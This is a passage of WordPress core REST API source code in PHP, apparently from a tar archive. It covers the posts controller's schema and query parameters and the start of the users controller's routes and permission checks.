					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'GUID for the post, as it exists in the database.' ),
							'type'        => 'string',
							'context'     => array( 'edit' ),
							'readonly'    => true,
						),
						'rendered' => array(
							'description' => __( 'GUID for the post, transformed for display.' ),
							'type'        => 'string',
							'context'     => array( 'view', 'edit' ),
							'readonly'    => true,
						),
					),
				),
				'id'           => array(
					'description' => __( 'Unique identifier for the post.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'link'         => array(
					'description' => __( 'URL to the post.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'modified'     => array(
					'description' => __( "The date the post was last modified, in the site's timezone." ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'modified_gmt' => array(
					'description' => __( 'The date the post was last modified, as GMT.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'slug'         => array(
					'description' => __( 'An alphanumeric identifier for the post unique to its type.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'arg_options' => array(
						'sanitize_callback' => array( $this, 'sanitize_slug' ),
					),
				),
				'status'       => array(
					'description' => __( 'A named status for the post.' ),
					'type'        => 'string',
					'enum'        => array_keys( get_post_stati( array( 'internal' => false ) ) ),
					'context'     => array( 'view', 'edit' ),
					'arg_options' => array(
						'validate_callback' => array( $this, 'check_status' ),
					),
				),
				'type'         => array(
					'description' => __( 'Type of post.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'password'     => array(
					'description' => __( 'A password to protect access to the content and excerpt.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
				),
			),
		);

		$post_type_obj = get_post_type_object( $this->post_type );
		if ( is_post_type_viewable( $post_type_obj ) && $post_type_obj->public ) {
			$schema['properties']['permalink_template'] = array(
				'description' => __( 'Permalink template for the post.' ),
				'type'        => 'string',
				'context'     => array( 'edit' ),
				'readonly'    => true,
			);

			$schema['properties']['generated_slug'] = array(
				'description' => __( 'Slug automatically generated from the post title.' ),
				'type'        => 'string',
				'context'     => array( 'edit' ),
				'readonly'    => true,
			);

			$schema['properties']['class_list'] = array(
				'description' => __( 'An array of the class names for the post container element.' ),
				'type'        => 'array',
				'context'     => array( 'view', 'edit' ),
				'readonly'    => true,
				'items'       => array(
					'type' => 'string',
				),
			);
		}

		if ( $post_type_obj->hierarchical ) {
			$schema['properties']['parent'] = array(
				'description' => __( 'The ID for the parent of the post.' ),
				'type'        => 'integer',
				'context'     => array( 'view', 'edit' ),
			);
		}

		$post_type_attributes = array(
			'title',
			'editor',
			'author',
			'excerpt',
			'thumbnail',
			'comments',
			'revisions',
			'page-attributes',
			'post-formats',
			'custom-fields',
		);
		$fixed_schemas        = array(
			'post'       => array(
				'title',
				'editor',
				'author',
				'excerpt',
				'thumbnail',
				'comments',
				'revisions',
				'post-formats',
				'custom-fields',
			),
			'page'       => array(
				'title',
				'editor',
				'author',
				'excerpt',
				'thumbnail',
				'comments',
				'revisions',
				'page-attributes',
				'custom-fields',
			),
			'attachment' => array(
				'title',
				'author',
				'comments',
				'revisions',
				'custom-fields',
				'thumbnail',
			),
		);

		foreach ( $post_type_attributes as $attribute ) {
			if ( isset( $fixed_schemas[ $this->post_type ] ) && ! in_array( $attribute, $fixed_schemas[ $this->post_type ], true ) ) {
				continue;
			} elseif ( ! isset( $fixed_schemas[ $this->post_type ] ) && ! post_type_supports( $this->post_type, $attribute ) ) {
				continue;
			}

			switch ( $attribute ) {

				case 'title':
					$schema['properties']['title'] = array(
						'description' => __( 'The title for the post.' ),
						'type'        => 'object',
						'context'     => array( 'view', 'edit', 'embed' ),
						'arg_options' => array(
							'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database().
							'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database().
						),
						'properties'  => array(
							'raw'      => array(
								'description' => __( 'Title for the post, as it exists in the database.' ),
								'type'        => 'string',
								'context'     => array( 'edit' ),
							),
							'rendered' => array(
								'description' => __( 'HTML title for the post, transformed for display.' ),
								'type'        => 'string',
								'context'     => array( 'view', 'edit', 'embed' ),
								'readonly'    => true,
							),
						),
					);
					break;

				case 'editor':
					$schema['properties']['content'] = array(
						'description' => __( 'The content for the post.' ),
						'type'        => 'object',
						'context'     => array( 'view', 'edit' ),
						'arg_options' => array(
							'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database().
							'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database().
						),
						'properties'  => array(
							'raw'           => array(
								'description' => __( 'Content for the post, as it exists in the database.' ),
								'type'        => 'string',
								'context'     => array( 'edit' ),
							),
							'rendered'      => array(
								'description' => __( 'HTML content for the post, transformed for display.' ),
								'type'        => 'string',
								'context'     => array( 'view', 'edit' ),
								'readonly'    => true,
							),
							'block_version' => array(
								'description' => __( 'Version of the content block format used by the post.' ),
								'type'        => 'integer',
								'context'     => array( 'edit' ),
								'readonly'    => true,
							),
							'protected'     => array(
								'description' => __( 'Whether the content is protected with a password.' ),
								'type'        => 'boolean',
								'context'     => array( 'view', 'edit', 'embed' ),
								'readonly'    => true,
							),
						),
					);
					break;

				case 'author':
					$schema['properties']['author'] = array(
						'description' => __( 'The ID for the author of the post.' ),
						'type'        => 'integer',
						'context'     => array( 'view', 'edit', 'embed' ),
					);
					break;

				case 'excerpt':
					$schema['properties']['excerpt'] = array(
						'description' => __( 'The excerpt for the post.' ),
						'type'        => 'object',
						'context'     => array( 'view', 'edit', 'embed' ),
						'arg_options' => array(
							'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database().
							'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database().
						),
						'properties'  => array(
							'raw'       => array(
								'description' => __( 'Excerpt for the post, as it exists in the database.' ),
								'type'        => 'string',
								'context'     => array( 'edit' ),
							),
							'rendered'  => array(
								'description' => __( 'HTML excerpt for the post, transformed for display.' ),
								'type'        => 'string',
								'context'     => array( 'view', 'edit', 'embed' ),
								'readonly'    => true,
							),
							'protected' => array(
								'description' => __( 'Whether the excerpt is protected with a password.' ),
								'type'        => 'boolean',
								'context'     => array( 'view', 'edit', 'embed' ),
								'readonly'    => true,
							),
						),
					);
					break;

				case 'thumbnail':
					$schema['properties']['featured_media'] = array(
						'description' => __( 'The ID of the featured media for the post.' ),
						'type'        => 'integer',
						'context'     => array( 'view', 'edit', 'embed' ),
					);
					break;

				case 'comments':
					$schema['properties']['comment_status'] = array(
						'description' => __( 'Whether or not comments are open on the post.' ),
						'type'        => 'string',
						'enum'        => array( 'open', 'closed' ),
						'context'     => array( 'view', 'edit' ),
					);
					$schema['properties']['ping_status']    = array(
						'description' => __( 'Whether or not the post can be pinged.' ),
						'type'        => 'string',
						'enum'        => array( 'open', 'closed' ),
						'context'     => array( 'view', 'edit' ),
					);
					break;

				case 'page-attributes':
					$schema['properties']['menu_order'] = array(
						'description' => __( 'The order of the post in relation to other posts.' ),
						'type'        => 'integer',
						'context'     => array( 'view', 'edit' ),
					);
					break;

				case 'post-formats':
					// Get the native post formats and remove the array keys.
					$formats = array_values( get_post_format_slugs() );

					$schema['properties']['format'] = array(
						'description' => __( 'The format for the post.' ),
						'type'        => 'string',
						'enum'        => $formats,
						'context'     => array( 'view', 'edit' ),
					);
					break;

				case 'custom-fields':
					$schema['properties']['meta'] = $this->meta->get_field_schema();
					break;

			}
		}

		if ( 'post' === $this->post_type ) {
			$schema['properties']['sticky'] = array(
				'description' => __( 'Whether or not the post should be treated as sticky.' ),
				'type'        => 'boolean',
				'context'     => array( 'view', 'edit' ),
			);
		}

		$schema['properties']['template'] = array(
			'description' => __( 'The theme file to use to display the post.' ),
			'type'        => 'string',
			'context'     => array( 'view', 'edit' ),
			'arg_options' => array(
				'validate_callback' => array( $this, 'check_template' ),
			),
		);

		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $taxonomy ) {
			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

			if ( array_key_exists( $base, $schema['properties'] ) ) {
				$taxonomy_field_name_with_conflict = ! empty( $taxonomy->rest_base ) ? 'rest_base' : 'name';
				_doing_it_wrong(
					'register_taxonomy',
					sprintf(
						/* translators: 1: The taxonomy name, 2: The property name, either 'rest_base' or 'name', 3: The conflicting value. */
						__( 'The "%1$s" taxonomy "%2$s" property (%3$s) conflicts with an existing property on the REST API Posts Controller. Specify a custom "rest_base" when registering the taxonomy to avoid this error.' ),
						$taxonomy->name,
						$taxonomy_field_name_with_conflict,
						$base
					),
					'5.4.0'
				);
			}

			$schema['properties'][ $base ] = array(
				/* translators: %s: Taxonomy name. */
				'description' => sprintf( __( 'The terms assigned to the post in the %s taxonomy.' ), $taxonomy->name ),
				'type'        => 'array',
				'items'       => array(
					'type' => 'integer',
				),
				'context'     => array( 'view', 'edit' ),
			);
		}

		$schema_links = $this->get_schema_links();

		if ( $schema_links ) {
			$schema['links'] = $schema_links;
		}

		// Take a snapshot of which fields are in the schema pre-filtering.
		$schema_fields = array_keys( $schema['properties'] );

		/**
		 * Filters the post's schema.
		 *
		 * The dynamic portion of the filter, `$this->post_type`, refers to the
		 * post type slug for the controller.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_post_item_schema`
		 *  - `rest_page_item_schema`
		 *  - `rest_attachment_item_schema`
		 *
		 * @since 5.4.0
		 *
		 * @param array $schema Item schema data.
		 */
		$schema = apply_filters( "rest_{$this->post_type}_item_schema", $schema );

		// Emit a _doing_it_wrong warning if user tries to add new properties using this filter.
		$new_fields = array_diff( array_keys( $schema['properties'] ), $schema_fields );
		if ( count( $new_fields ) > 0 ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					/* translators: %s: register_rest_field */
					__( 'Please use %s to add new schema properties.' ),
					'register_rest_field'
				),
				'5.4.0'
			);
		}

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves Link Description Objects that should be added to the Schema for the posts collection.
	 *
	 * @since 4.9.8
	 *
	 * @return array
	 */
	protected function get_schema_links() {

		$href = rest_url( "{$this->namespace}/{$this->rest_base}/{id}" );

		$links = array();

		if ( 'attachment' !== $this->post_type ) {
			$links[] = array(
				'rel'          => 'https://api.w.org/action-publish',
				'title'        => __( 'The current user can publish this post.' ),
				'href'         => $href,
				'targetSchema' => array(
					'type'       => 'object',
					'properties' => array(
						'status' => array(
							'type' => 'string',
							'enum' => array( 'publish', 'future' ),
						),
					),
				),
			);
		}

		$links[] = array(
			'rel'          => 'https://api.w.org/action-unfiltered-html',
			'title'        => __( 'The current user can post unfiltered HTML markup and JavaScript.' ),
			'href'         => $href,
			'targetSchema' => array(
				'type'       => 'object',
				'properties' => array(
					'content' => array(
						'raw' => array(
							'type' => 'string',
						),
					),
				),
			),
		);

		if ( 'post' === $this->post_type ) {
			$links[] = array(
				'rel'          => 'https://api.w.org/action-sticky',
				'title'        => __( 'The current user can sticky this post.' ),
				'href'         => $href,
				'targetSchema' => array(
					'type'       => 'object',
					'properties' => array(
						'sticky' => array(
							'type' => 'boolean',
						),
					),
				),
			);
		}

		if ( post_type_supports( $this->post_type, 'author' ) ) {
			$links[] = array(
				'rel'          => 'https://api.w.org/action-assign-author',
				'title'        => __( 'The current user can change the author on this post.' ),
				'href'         => $href,
				'targetSchema' => array(
					'type'       => 'object',
					'properties' => array(
						'author' => array(
							'type' => 'integer',
						),
					),
				),
			);
		}

		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $tax ) {
			$tax_base = ! empty( $tax->rest_base ) ? $tax->rest_base : $tax->name;

			/* translators: %s: Taxonomy name. */
			$assign_title = sprintf( __( 'The current user can assign terms in the %s taxonomy.' ), $tax->name );
			/* translators: %s: Taxonomy name. */
			$create_title = sprintf( __( 'The current user can create terms in the %s taxonomy.' ), $tax->name );

			$links[] = array(
				'rel'          => 'https://api.w.org/action-assign-' . $tax_base,
				'title'        => $assign_title,
				'href'         => $href,
				'targetSchema' => array(
					'type'       => 'object',
					'properties' => array(
						$tax_base => array(
							'type'  => 'array',
							'items' => array(
								'type' => 'integer',
							),
						),
					),
				),
			);

			$links[] = array(
				'rel'          => 'https://api.w.org/action-create-' . $tax_base,
				'title'        => $create_title,
				'href'         => $href,
				'targetSchema' => array(
					'type'       => 'object',
					'properties' => array(
						$tax_base => array(
							'type'  => 'array',
							'items' => array(
								'type' => 'integer',
							),
						),
					),
				),
			);
		}

		return $links;
	}

	/**
	 * Retrieves the query params for the posts collection.
	 *
	 * @since 4.7.0
	 * @since 5.4.0 The `tax_relation` query parameter was added.
	 * @since 5.7.0 The `modified_after` and `modified_before` query parameters were added.
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['context']['default'] = 'view';

		$query_params['after'] = array(
			'description' => __( 'Limit response to posts published after a given ISO8601 compliant date.' ),
			'type'        => 'string',
			'format'      => 'date-time',
		);

		$query_params['modified_after'] = array(
			'description' => __( 'Limit response to posts modified after a given ISO8601 compliant date.' ),
			'type'        => 'string',
			'format'      => 'date-time',
		);

		if ( post_type_supports( $this->post_type, 'author' ) ) {
			$query_params['author']         = array(
				'description' => __( 'Limit result set to posts assigned to specific authors.' ),
				'type'        => 'array',
				'items'       => array(
					'type' => 'integer',
				),
				'default'     => array(),
			);
			$query_params['author_exclude'] = array(
				'description' => __( 'Ensure result set excludes posts assigned to specific authors.' ),
				'type'        => 'array',
				'items'       => array(
					'type' => 'integer',
				),
				'default'     => array(),
			);
		}

		$query_params['before'] = array(
			'description' => __( 'Limit response to posts published before a given ISO8601 compliant date.' ),
			'type'        => 'string',
			'format'      => 'date-time',
		);

		$query_params['modified_before'] = array(
			'description' => __( 'Limit response to posts modified before a given ISO8601 compliant date.' ),
			'type'        => 'string',
			'format'      => 'date-time',
		);

		$query_params['exclude'] = array(
			'description' => __( 'Ensure result set excludes specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['include'] = array(
			'description' => __( 'Limit result set to specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		if ( 'page' === $this->post_type || post_type_supports( $this->post_type, 'page-attributes' ) ) {
			$query_params['menu_order'] = array(
				'description' => __( 'Limit result set to posts with a specific menu_order value.' ),
				'type'        => 'integer',
			);
		}

		$query_params['search_semantics'] = array(
			'description' => __( 'How to interpret the search input.' ),
			'type'        => 'string',
			'enum'        => array( 'exact' ),
		);

		$query_params['offset'] = array(
			'description' => __( 'Offset the result set by a specific number of items.' ),
			'type'        => 'integer',
		);

		$query_params['order'] = array(
			'description' => __( 'Order sort attribute ascending or descending.' ),
			'type'        => 'string',
			'default'     => 'desc',
			'enum'        => array( 'asc', 'desc' ),
		);

		$query_params['orderby'] = array(
			'description' => __( 'Sort collection by post attribute.' ),
			'type'        => 'string',
			'default'     => 'date',
			'enum'        => array(
				'author',
				'date',
				'id',
				'include',
				'modified',
				'parent',
				'relevance',
				'slug',
				'include_slugs',
				'title',
			),
		);

		if ( 'page' === $this->post_type || post_type_supports( $this->post_type, 'page-attributes' ) ) {
			$query_params['orderby']['enum'][] = 'menu_order';
		}

		$post_type = get_post_type_object( $this->post_type );

		if ( $post_type->hierarchical || 'attachment' === $this->post_type ) {
			$query_params['parent']         = array(
				'description' => __( 'Limit result set to items with particular parent IDs.' ),
				'type'        => 'array',
				'items'       => array(
					'type' => 'integer',
				),
				'default'     => array(),
			);
			$query_params['parent_exclude'] = array(
				'description' => __( 'Limit result set to all items except those of a particular parent ID.' ),
				'type'        => 'array',
				'items'       => array(
					'type' => 'integer',
				),
				'default'     => array(),
			);
		}

		$query_params['search_columns'] = array(
			'default'     => array(),
			'description' => __( 'Array of column names to be searched.' ),
			'type'        => 'array',
			'items'       => array(
				'enum' => array( 'post_title', 'post_content', 'post_excerpt' ),
				'type' => 'string',
			),
		);

		$query_params['slug'] = array(
			'description' => __( 'Limit result set to posts with one or more specific slugs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
		);

		$query_params['status'] = array(
			'default'           => 'publish',
			'description'       => __( 'Limit result set to posts assigned one or more statuses.' ),
			'type'              => 'array',
			'items'             => array(
				'enum' => array_merge( array_keys( get_post_stati() ), array( 'any' ) ),
				'type' => 'string',
			),
			'sanitize_callback' => array( $this, 'sanitize_post_statuses' ),
		);

		$query_params = $this->prepare_taxonomy_limit_schema( $query_params );

		if ( 'post' === $this->post_type ) {
			$query_params['sticky'] = array(
				'description' => __( 'Limit result set to items that are sticky.' ),
				'type'        => 'boolean',
			);

			$query_params['ignore_sticky'] = array(
				'description' => __( 'Whether to ignore sticky posts or not.' ),
				'type'        => 'boolean',
				'default'     => true,
			);
		}

		if ( post_type_supports( $this->post_type, 'post-formats' ) ) {
			$query_params['format'] = array(
				'description' => __( 'Limit result set to items assigned one or more given formats.' ),
				'type'        => 'array',
				'uniqueItems' => true,
				'items'       => array(
					'enum' => array_values( get_post_format_slugs() ),
					'type' => 'string',
				),
			);
		}

		/**
		 * Filters collection parameters for the posts controller.
		 *
		 * The dynamic part of the filter `$this->post_type` refers to the post
		 * type slug for the controller.
		 *
		 * This filter registers the collection parameter, but does not map the
		 * collection parameter to an internal WP_Query parameter. Use the
		 * `rest_{$this->post_type}_query` filter to set WP_Query parameters.
		 *
		 * @since 4.7.0
		 *
		 * @param array        $query_params JSON Schema-formatted collection parameters.
		 * @param WP_Post_Type $post_type    Post type object.
		 */
		return apply_filters( "rest_{$this->post_type}_collection_params", $query_params, $post_type );
	}

	/**
	 * Sanitizes and validates the list of post statuses, including whether the
	 * user can query private statuses.
	 *
	 * @since 4.7.0
	 *
	 * @param string|array    $statuses  One or more post statuses.
	 * @param WP_REST_Request $request   Full details about the request.
	 * @param string          $parameter Additional parameter to pass to validation.
	 * @return array|WP_Error A list of valid statuses, otherwise WP_Error object.
	 */
	public function sanitize_post_statuses( $statuses, $request, $parameter ) {
		$statuses = wp_parse_slug_list( $statuses );

		// The default status is different in WP_REST_Attachments_Controller.
		$attributes     = $request->get_attributes();
		$default_status = $attributes['args']['status']['default'];

		foreach ( $statuses as $status ) {
			if ( $status === $default_status ) {
				continue;
			}

			$post_type_obj = get_post_type_object( $this->post_type );

			if ( current_user_can( $post_type_obj->cap->edit_posts ) || 'private' === $status && current_user_can( $post_type_obj->cap->read_private_posts ) ) {
				$result = rest_validate_request_arg( $status, $request, $parameter );
				if ( is_wp_error( $result ) ) {
					return $result;
				}
			} else {
				return new WP_Error(
					'rest_forbidden_status',
					__( 'Status is forbidden.' ),
					array( 'status' => rest_authorization_required_code() )
				);
			}
		}

		return $statuses;
	}

	/**
	 * Prepares the 'tax_query' for a collection of posts.
	 *
	 * @since 5.7.0
	 *
	 * @param array           $args    WP_Query arguments.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return array Updated query arguments.
	 */
	private function prepare_tax_query( array $args, WP_REST_Request $request ) {
		$relation = $request['tax_relation'];

		if ( $relation ) {
			$args['tax_query'] = array( 'relation' => $relation );
		}

		$taxonomies = wp_list_filter(
			get_object_taxonomies( $this->post_type, 'objects' ),
			array( 'show_in_rest' => true )
		);

		foreach ( $taxonomies as $taxonomy ) {
			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

			$tax_include = $request[ $base ];
			$tax_exclude = $request[ $base . '_exclude' ];

			if ( $tax_include ) {
				$terms            = array();
				$include_children = false;
				$operator         = 'IN';

				if ( rest_is_array( $tax_include ) ) {
					$terms = $tax_include;
				} elseif ( rest_is_object( $tax_include ) ) {
					$terms            = empty( $tax_include['terms'] ) ? array() : $tax_include['terms'];
					$include_children = ! empty( $tax_include['include_children'] );

					if ( isset( $tax_include['operator'] ) && 'AND' === $tax_include['operator'] ) {
						$operator = 'AND';
					}
				}

				if ( $terms ) {
					$args['tax_query'][] = array(
						'taxonomy'         => $taxonomy->name,
						'field'            => 'term_id',
						'terms'            => $terms,
						'include_children' => $include_children,
						'operator'         => $operator,
					);
				}
			}

			if ( $tax_exclude ) {
				$terms            = array();
				$include_children = false;

				if ( rest_is_array( $tax_exclude ) ) {
					$terms = $tax_exclude;
				} elseif ( rest_is_object( $tax_exclude ) ) {
					$terms            = empty( $tax_exclude['terms'] ) ? array() : $tax_exclude['terms'];
					$include_children = ! empty( $tax_exclude['include_children'] );
				}

				if ( $terms ) {
					$args['tax_query'][] = array(
						'taxonomy'         => $taxonomy->name,
						'field'            => 'term_id',
						'terms'            => $terms,
						'include_children' => $include_children,
						'operator'         => 'NOT IN',
					);
				}
			}
		}

		return $args;
	}

	/**
	 * Prepares the collection schema for including and excluding items by terms.
	 *
	 * @since 5.7.0
	 *
	 * @param array $query_params Collection schema.
	 * @return array Updated schema.
	 */
	private function prepare_taxonomy_limit_schema( array $query_params ) {
		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		if ( ! $taxonomies ) {
			return $query_params;
		}

		$query_params['tax_relation'] = array(
			'description' => __( 'Limit result set based on relationship between multiple taxonomies.' ),
			'type'        => 'string',
			'enum'        => array( 'AND', 'OR' ),
		);

		$limit_schema = array(
			'type'  => array( 'object', 'array' ),
			'oneOf' => array(
				array(
					'title'       => __( 'Term ID List' ),
					'description' => __( 'Match terms with the listed IDs.' ),
					'type'        => 'array',
					'items'       => array(
						'type' => 'integer',
					),
				),
				array(
					'title'                => __( 'Term ID Taxonomy Query' ),
					'description'          => __( 'Perform an advanced term query.' ),
					'type'                 => 'object',
					'properties'           => array(
						'terms'            => array(
							'description' => __( 'Term IDs.' ),
							'type'        => 'array',
							'items'       => array(
								'type' => 'integer',
							),
							'default'     => array(),
						),
						'include_children' => array(
							'description' => __( 'Whether to include child terms in the terms limiting the result set.' ),
							'type'        => 'boolean',
							'default'     => false,
						),
					),
					'additionalProperties' => false,
				),
			),
		);

		$include_schema = array_merge(
			array(
				/* translators: %s: Taxonomy name. */
				'description' => __( 'Limit result set to items with specific terms assigned in the %s taxonomy.' ),
			),
			$limit_schema
		);
		// 'operator' is supported only for 'include' queries.
		$include_schema['oneOf'][1]['properties']['operator'] = array(
			'description' => __( 'Whether items must be assigned all or any of the specified terms.' ),
			'type'        => 'string',
			'enum'        => array( 'AND', 'OR' ),
			'default'     => 'OR',
		);

		$exclude_schema = array_merge(
			array(
				/* translators: %s: Taxonomy name. */
				'description' => __( 'Limit result set to items except those with specific terms assigned in the %s taxonomy.' ),
			),
			$limit_schema
		);

		foreach ( $taxonomies as $taxonomy ) {
			$base         = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;
			$base_exclude = $base . '_exclude';

			$query_params[ $base ]                = $include_schema;
			$query_params[ $base ]['description'] = sprintf( $query_params[ $base ]['description'], $base );

			$query_params[ $base_exclude ]                = $exclude_schema;
			$query_params[ $base_exclude ]['description'] = sprintf( $query_params[ $base_exclude ]['description'], $base );

			if ( ! $taxonomy->hierarchical ) {
				unset( $query_params[ $base ]['oneOf'][1]['properties']['include_children'] );
				unset( $query_params[ $base_exclude ]['oneOf'][1]['properties']['include_children'] );
			}
		}

		return $query_params;
	}
}
endpoints/class-wp-rest-users-controller.php000064400000141171151024200430015300 0ustar00<?php
/**
 * REST API: WP_REST_Users_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage users via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Users_Controller extends WP_REST_Controller {

	/**
	 * Instance of a user meta fields object.
	 *
	 * @since 4.7.0
	 * @var WP_REST_User_Meta_Fields
	 */
	protected $meta;

	/**
	 * Whether the controller supports batching.
	 *
	 * @since 6.6.0
	 * @var array
	 */
	protected $allow_batch = array( 'v1' => true );

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'users';

		$this->meta = new WP_REST_User_Meta_Fields();
	}

	/**
	 * Registers the routes for users.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
				),
				'allow_batch' => $this->allow_batch,
				'schema'      => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'        => array(
					'id' => array(
						'description' => __( 'Unique identifier for the user.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force'    => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Required to be true, as users do not support trashing.' ),
						),
						'reassign' => array(
							'type'              => 'integer',
							'description'       => __( 'Reassign the deleted user\'s posts and links to this user ID.' ),
							'required'          => true,
							'sanitize_callback' => array( $this, 'check_reassign' ),
						),
					),
				),
				'allow_batch' => $this->allow_batch,
				'schema'      => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/me',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'permission_callback' => '__return_true',
					'callback'            => array( $this, 'get_current_item' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_current_item' ),
					'permission_callback' => array( $this, 'update_current_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_current_item' ),
					'permission_callback' => array( $this, 'delete_current_item_permissions_check' ),
					'args'                => array(
						'force'    => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Required to be true, as users do not support trashing.' ),
						),
						'reassign' => array(
							'type'              => 'integer',
							'description'       => __( 'Reassign the deleted user\'s posts and links to this user ID.' ),
							'required'          => true,
							'sanitize_callback' => array( $this, 'check_reassign' ),
						),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks for a valid value for the reassign parameter when deleting users.
	 *
	 * The value can be an integer, 'false', false, or ''.
	 *
	 * @since 4.7.0
	 *
	 * @param int|bool        $value   The value passed to the reassign parameter.
	 * @param WP_REST_Request $request Full details about the request.
	 * @param string          $param   The parameter that is being sanitized.
	 * @return int|bool|WP_Error
	 */
	public function check_reassign( $value, $request, $param ) {
		if ( is_numeric( $value ) ) {
			return $value;
		}

		if ( empty( $value ) || false === $value || 'false' === $value ) {
			return false;
		}

		return new WP_Error(
			'rest_invalid_param',
			__( 'Invalid user parameter(s).' ),
			array( 'status' => 400 )
		);
	}

	/**
	 * Permissions check for getting all users.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, otherwise WP_Error object.
	 */
	public function get_items_permissions_check( $request ) {
		// Check if roles is specified in GET request and if user can list users.
		if ( ! empty( $request['roles'] ) && ! current_user_can( 'list_users' ) ) {
			return new WP_Error(
				'rest_user_cannot_view',
				__( 'Sorry, you are not allowed to filter users by role.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		// Check if capabilities is specified in GET request and if user can list users.
		if ( ! empty( $request['capabilities'] ) && ! current_user_can( 'list_users' ) ) {
			return new WP_Error(
				'rest_user_cannot_view',
				__( 'Sorry, you are not allowed to filter users by capability.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( 'edit' === $request['context'] && ! current_user_can( 'list_users' ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit users.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( in_array( $request['orderby'], array( 'email', 'registered_date' ), true ) && ! current_user_can( 'list_users' ) ) {
			return new WP_Error(
				'rest_forbidden_orderby',
				__( 'Sorry, you are not allowed to order users by this parameter.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( 'authors' === $request['who'] ) {
			$types = get_post_types( array( 'show_in_rest' => true ), 'objects' );

			foreach ( $types as $type ) {
				if ( post_type_supports( $type->name, 'author' )
